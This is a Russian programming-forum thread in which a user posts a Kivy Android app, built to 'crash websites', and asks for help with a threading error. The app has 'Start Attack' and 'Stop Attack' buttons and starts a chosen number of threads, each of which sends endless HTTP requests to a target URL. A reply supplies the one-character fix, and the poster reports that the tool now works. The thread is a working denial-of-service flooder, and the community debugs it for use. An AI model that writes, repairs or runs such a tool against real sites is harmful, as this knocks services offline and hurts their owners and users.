1 / 1 / 1
Регистрация: 09.04.2022
Сообщений: 35
1

Ошибка takes 1 positional argument but 33 were

16.10.2022, 15:17. Показов 748. Ответов 3

Author24 — интернет-сервис помощи студентам
Доброго времени суток. Хочу сделать Крашер сайтов для андроид нашел скрипт в интернете протестил(крашет) начал делать по андроид с использованием библиотеки kivy и столкнулся с ошибкой takes 1 positional argument but 33 were, да я переводил что значить я в один аргумент пытаюсь засунуть 33 только я не понимаю где взялось эти 33 значения
Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from kivy.app import App
from kivy.lang import Builder
from kivy.uix.boxlayout import BoxLayout
from kivy.properties import StringProperty
from kivy.uix.button import Button
from kivy.uix.textinput import TextInput
 
import threading
import requests
 
KV = """
MyBL:
        orientation: "vertical"
        size_hint: (0.95, 0.95)
        pos_hint: {"center_x": 0.5, "center_Y": 0.5}
 
        url: URL_site.text
        threads_str: threads_input.text
        Label:
                font_size: "30sp"
                text: root.data_label
 
        TextInput:
                id: URL_site
                multiline: False
                padding_y: (5,5)
                size_hint: (1, 0.5)
 
        TextInput:
                id: threads_input
                input_filter: "int"
                multiline: False
                padding_y: (5,5)
                size_hint: (1, 0.5)
 
        Button:
                text: "Начать Атаку"
                bold: True
                background_color: '#00FFCE'
                size_hint: (1, 0.5)
                on_press: root.startAttack()
 
        Button:
                text: "Закончить Атаку"
                bold: True
                background_color: '#00FFCE'
                size_hint: (1, 0.5)
                on_press: root.ExitAttack()
 
        Label:
                id: console_label
                font_size: "15sp"
                text: root.console
"""
 
class MyBL(BoxLayout):
 
    info_True = False
    data_label = StringProperty("DodoSer")
    console = StringProperty("console")
 
    url = StringProperty()
    threads_str = StringProperty()
    
    def startAttack(self):
 
        if not self.url.__contains__("http"):
            threads = int(self.threads_str)
            self.ids['console_label'].text = "URL-адрес не содержит http или https!"
        else:
            threads = int(self.threads_str)
            info_True = True
            self.ids['console_label'].text = "Информация правдива"
 
        while info_True:
 
            def dos(target):
                while True:
                    try:
                        res = requests.get(target)
                        self.ids['console_label'].text = "Атака началась!"
                    except requests.exceptions.ConnectionError:
                        self.ids['console_label'].text = "[+] " + "Ошибка подключения!"
                        threads = 20
 
            for i in range(0, threads):
                thr = threading.Thread(target=dos, args=(self.url))
                thr.start()
                self.ids['console_label'].text = str(i + 1) + " Поток запущен!"
        
 
    def ExitAttack(self):
        info_True = False
 
class MyApp(App):
    running = True
 
    url = StringProperty()
    threads = StringProperty()
 
    def build(self):
            
        return Builder.load_string(KV)
 
    def on_stop(self):
        self.running = False
 
MyApp().run()
и так переходим к самой ошибке она находится в классе MyBL()
Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
class MyBL(BoxLayout):
 
    info_True = False
    data_label = StringProperty("DodoSer")
    console = StringProperty("console")
 
    url = StringProperty()
    threads_str = StringProperty()
    
    def startAttack(self):
 
        if not self.url.__contains__("http"):
            threads = int(self.threads_str)
            self.ids['console_label'].text = "URL-адрес не содержит http или https!"
        else:
            threads = int(self.threads_str)
            info_True = True
            self.ids['console_label'].text = "Информация правдива"
 
        while info_True:
 
            def dos(target): вот тут находится dos
                while True:
                    try:
                        res = requests.get(target)
                        self.ids['console_label'].text = "Атака началась!"
                    except requests.exceptions.ConnectionError:
                        self.ids['console_label'].text = "[+] " + "Ошибка подключения!"
                        threads = 20
 
            for i in range(0, threads):
                thr = threading.Thread(target=dos, args=(self.url)) # тут я пытаюсь закинуть в переменную target 33 dos
                thr.start()
                self.ids['console_label'].text = str(i + 1) + " Поток запущен!"
        
 
    def ExitAttack(self):
        info_True = False
буду благодарен если поможете с этой проблеммой
0
Лучшие ответы (1)
cpp_developer
Эксперт
20123 / 5690 / 1417
Регистрация: 09.04.2010
Сообщений: 22,546
Блог
16.10.2022, 15:17
Ответы с готовыми решениями:

Ошибка регистрации: login() takes 1 positional argument but 2 were given
Привет всем. Когда заполняю форму все четко проходит но вылетает ошибка: login() takes 1 positional...

Ошибка TypeError: Dispatcher.__init__() takes 1 positional argument but 2 were given
Пишу Телеграмм бота на pythone. Выдает ошибку: Traceback (most recent call last): File...

Takes 1 positional argument but 2 were given
Помогите пожалуйста,выдает ошибку sender() takes 1 positional argument but 2 were given код: ...

Ошибка "TypeError: start() takes 1 positional argument but 2 were given"
При запуске выдаёт ошибку: "TypeError: start() takes 1 positional argument but 2 were given", если...

TypeError: preveiw_files() takes 1 positional argument but 2 were given
Добрый день. Не так давно начал осваивать Python, в том числе и создание графического интерфейса....

3
2431 / 1474 / 633
Регистрация: 01.11.2021
Сообщений: 2,269
16.10.2022, 15:35 2
Лучший ответ Сообщение было отмечено KredaoGames как решение

Решение

Тут кортеж вроде должен быть. Запятую добавь.
Python
1
thr = threading.Thread(target=dos, args=(self.url,))
1
1 / 1 / 1
Регистрация: 09.04.2022
Сообщений: 35
16.10.2022, 15:42  [ТС] 3
Спасибо большое все работает!
а и да кстати могли вы бы подсказать как чтобы Time.sleep(1) только останавливал цикл а не весь код
0
2431 / 1474 / 633
Регистрация: 01.11.2021
Сообщений: 2,269
16.10.2022, 15:46 4
KredaoGames,
я с потоками не особо пока дружу, но вроде никак в данном случае.
0
16.10.2022, 15:46
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
raxper
Эксперт
30234 / 6612 / 1498
Регистрация: 28.12.2010
Сообщений: 21,154
Блог
16.10.2022, 15:46
Помогаю со студенческими работами здесь

TypeError: __getCoordX() takes 1 positional argument but 2 were given
Подскажите, что не так с моим кодом. При его запуске вызывается ошибка : TypeError: __getCoordX()...

Ошибка: TypeError: weather_at_place() takes 2 positional arguments but 3 were given
Traceback (most recent call last): File "C:\py\w2.py", line 22, in <module> observation =...

Ошибка missing 1 required positional argument: 'self'
всем привет. в этом коде: from tkinter import* class Main(): def __init__(self): tk=Tk()...

Ошибка TypeError: on_message() missing 1 required positional argument: 'ctx'
Пишу простенького бота для своего сервера дискорд. хотел сделать приветствие с @пингом_автора, но...

SyntaxError: positional argument follows keyword argument
Прошу помочь, где функция clicked1 пишет ошибку SyntaxError: positional argument follows keyword...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
4
Ответ Создать тему
Опции темы

Новые блоги и статьи
Есть ли в Python аналог метода string.contains для поиска подстроки
bytestream 29.01.2025
При разработке программного обеспечения часто возникает необходимость выполнять поиск подстрок в текстовых данных. Эта задача является одной из наиболее распространенных операций при обработке текста. . .
Как конвертировать строку в boolean (true/false) в JavaScript
bytestream 29.01.2025
В разработке на JavaScript преобразование строк в логические значения представляет собой важную операцию, которая часто используется при обработке пользовательского ввода, работе с конфигурационными. . .
Как объединять строки в Bash
bytestream 29.01.2025
В разработке и системном администрировании командная оболочка Bash является незаменимым инструментом для автоматизации различных задач. Одной из основополагающих операций в Bash является объединение. . .
Как запушить тег в удаленный репозиторий Git
bytestream 29.01.2025
В системе контроля версий Git теги представляют собой важный механизм для маркировки определенных точек в истории репозитория. Теги обычно используются для обозначения значимых этапов разработки,. . .
Основы социальной информатики
hw_wired 29.01.2025
Информационная цивилизация в современном мире Современное общество переживает фундаментальную трансформацию, связанную с переходом к информационной цивилизации. Этот процесс характеризуется. . .
Коммуникационны­­е технологии
hw_wired 29.01.2025
Основы коммуникационных технологий В современном мире коммуникационные технологии представляют собой основополагающий элемент информационной инфраструктуры, обеспечивающий взаимодействие между. . .
Основы логики
hw_wired 29.01.2025
Введение в алгебру высказываний Алгебра высказываний представляет собой основополагающий раздел математической логики, который изучает способы построения сложных логических выражений и методы. . .
Хранение, поиск и сортировка информации в базах данных
hw_wired 29.01.2025
Теоретические основы информационных систем В современном мире информационные системы играют ключевую роль в организации и управлении данными. Информационная система представляет собой комплекс. . .
Компьютер и программное обеспечение
hw_wired 29.01.2025
Введение В современном мире компьютерные технологии стали неотъемлемой частью нашей жизни, проникнув во все сферы человеческой деятельности. Компьютер представляет собой сложную систему, состоящую. . .
Создание макробота, как способа экономии времени и варианта ИИ.
Hrethgir 28.01.2025
Чисто теоретически, создание ИИ на ПК можно разделить на части. Создать бота отвечающего за железо (эмулирование вкл, выкл, мышь, клавиатура), другой бот осуществляет распознавание изображений,. . .
[Golang] 121. Best Time to Buy and Sell Stock
alhaos 28.01.2025
В этой задаче мы получаем слайс целых чисел, которые означают цену акции в разные моменты времени, и должны вернуть максимально возможную прибыль от купли продажи акции. / / . . .
Проектирование и моделирование
hw_wired 28.01.2025
Введение в моделирование Моделирование представляет собой один из фундаментальных методов научного познания, который позволяет изучать объекты и явления через создание их упрощенных аналогов. В. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2025, CyberForum.ru